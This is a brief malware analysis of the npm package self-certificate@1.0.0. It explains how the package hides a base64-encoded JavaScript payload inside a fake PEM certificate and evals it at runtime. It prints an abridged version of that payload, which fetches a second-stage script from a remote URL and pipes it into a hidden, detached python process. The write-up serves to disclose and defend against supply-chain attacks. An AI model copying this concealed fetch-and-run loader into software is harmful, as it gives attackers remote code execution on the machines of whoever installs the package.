self-certificate@1.0.0

Analysis

self-certificate@1.0.0 is a trojanized npm package. The main index.js exports generateCertificates() which calls loadSampleCertificate(), a function that reads sample/cert.pem, strips the PEM headers, base64-decodes the body, and evals the result. The decoded body is NOT a certificate — it is a malicious JavaScript payload: (async () => { ... const { spawn } = require('child_process'); const url = Buffer.from(encoded_url, 'base64').toString(); const response = await fetch(url); const log = await response.text(); const p = spawn(os.platform() === 'win32' ? 'python' : 'python3', ['-'], { detached: true, windowsHide: true }); p.stdin.write(log); ... })(); This fetches a second-stage script from a Dropbox-hosted URL and pipes it to python3 - in a detached hidden process. No NPM_TOKEN, GITHUB_TOKEN, or .npmrc theft markers found — the package is a remote code execution dropper.